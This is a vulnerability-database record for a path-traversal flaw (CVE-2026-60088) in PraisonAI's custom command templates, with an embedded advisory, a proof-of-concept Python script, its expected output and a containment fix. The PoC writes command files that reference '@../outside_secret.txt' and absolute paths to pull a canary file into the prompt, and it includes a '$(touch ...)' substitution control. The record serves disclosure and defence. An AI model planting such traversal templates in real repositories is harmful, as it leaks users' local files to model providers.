{"schema":"threatline.record/2","record":{"id":"CVE-2026-60088","aliases":["GHSA-xpx6-x8c2-mw5w","PYSEC-2026-4261"],"summary":"PraisonAI: Project custom command templates can read outside-workspace files into model prompts","details":"# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n    file_path = working_dir / file_path_str\nelse:\n    file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n    with open(file_path, 'r') as f:\n        return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n  .git/\n  .praisonai/\n    commands/\n      relative_escape.md   # contains @../outside_secret.txt\n      absolute_escape.md   # contains an absolute path outside workspace\n  inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" <<'PY'\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -> str:\n    if importlib.util.find_spec(\"yaml\") is not None:\n        return \"installed\"\n\n    yaml_stub = types.ModuleType(\"yaml\")\n\n    class YAMLError(Exception):\n        pass\n\n    def safe_load(text: str):\n        data = {}\n        for raw_line in text.splitlines():\n            line = raw_line.strip()\n            if not line or line.startswith(\"#\") or \":\" not in line:\n                continue\n            key, value = line.split(\":\", 1)\n            data[key.strip()] = value.strip().strip(\"'\\\"\")\n        return data\n\n    yaml_stub.safe_load = safe_load\n    yaml_stub.YAMLError = YAMLError\n    sys.modules[\"yaml\"] = yaml_stub\n    return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -> None:\n    candidate = source_root / \"src\" / \"praisonai\"\n    if (candidate / \"praisonai\").exists():\n        sys.path.insert(0, str(candidate))\n        return\n    raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n    def __init__(self, path: Path):\n        self.path = path\n        self.old = Path.cwd()\n\n    def __enter__(self):\n        os.chdir(self.path)\n\n    def __exit__(self, *_exc):\n        os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -> None:\n    commands_dir.mkdir(parents=True, exist_ok=True)\n    (commands_dir / f\"{name}.md\").write_text(\n        \"---\\n\"\n        f\"description: {name}\\n\"\n        \"---\\n\"\n        f\"{body}\\n\",\n        encoding=\"utf-8\",\n    )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n    temp_root = Path(tmp).resolve()\n    workspace = temp_root / \"workspace\"\n    workspace.mkdir()\n    subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n    inside = workspace / \"inside.txt\"\n    outside = temp_root / \"outside_secret.txt\"\n    inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n    outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n    commands_dir = workspace / \".praisonai\" / \"commands\"\n    write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n    write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n    write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n    write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n    write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n    with pushd(workspace):\n        relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n        absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n        inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n        missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n        shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n    result = {\n        \"vulnerable\": all(\n            [\n                CANARY in (relative_result or \"\"),\n                CANARY in (absolute_result or \"\"),\n                \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n                \"@missing.txt\" in (missing_result or \"\"),\n                not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n            ]\n        ),\n        \"expectations\": {\n            \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n            \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n            \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n            \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n            \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n        },\n        \"samples\": {\n            \"relative_escape\": relative_result,\n            \"absolute_escape\": absolute_result,\n            \"inside_control\": inside_result,\n            \"missing_control\": missing_result,\n            \"shell_control\": shell_result,\n        },\n        \"yaml_dependency\": yaml_dependency,\n    }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"absolute_path_discloses_outside_file\": true,\n    \"inside_control_expands_workspace_file\": true,\n    \"missing_control_leaves_missing_reference\": true,\n    \"relative_parent_traversal_discloses_outside_file\": true,\n    \"shell_control_does_not_create_file\": true\n  },\n  \"samples\": {\n    \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n    \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n    \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n  },\n  \"vulnerable\": true,\n  \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -> Path:\n    root = root.resolve()\n    candidate = Path(value)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: >= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html","categories":["Libraries & packages"],"product":"praisonai","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w","source_modified_at":"2026-10-08T17:57:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"range":"<= 4.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","source_modified_at":"2026-07-13T17:26:03.291Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"lessThan":"4.6.78","status":"affected","version":"0","versionType":"semver"},{"status":"unaffected","version":"4.6.78","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","source_modified_at":"2026-10-15T14:55:45.317558307Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.33","0.0.34","0.0.35","0.0.36","0.0.37","0.0.38","0.0.39","0.0.4","0.0.40","0.0.41","0.0.42","0.0.43","0.0.44","0.0.45","0.0.46","0.0.47","0.0.48","0.0.49","0.0.5","0.0.50","0.0.52","0.0.53","0.0.54","0.0.55"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w","source_modified_at":"2026-10-08T17:57:50Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonai"},"version":"4.6.78"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","source_modified_at":"2026-07-13T17:26:03.291Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"PraisonAI","ecosystem":null},"version":"4.6.78","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","source_modified_at":"2026-10-15T14:55:45.317558307Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"version":"4.6.78"}],"cvss":5.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00182,"percentile":0.07376,"score_date":"2026-10-23"},"published_at":"2026-07-11T13:00:59.744Z","modified_at":"2026-10-15T14:55:45.317558307Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T17:57:50Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-13T17:26:03.291Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-15T14:55:45.317558307Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-60088","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","tags":["patch"]},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-07-13T17:25:56.364288Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:55:45.317558307Z","content_hash":"880ee4b0470183c06eccb4d95e7ed4903b7b7c45366dc9042c472a3ceea363ea"}}
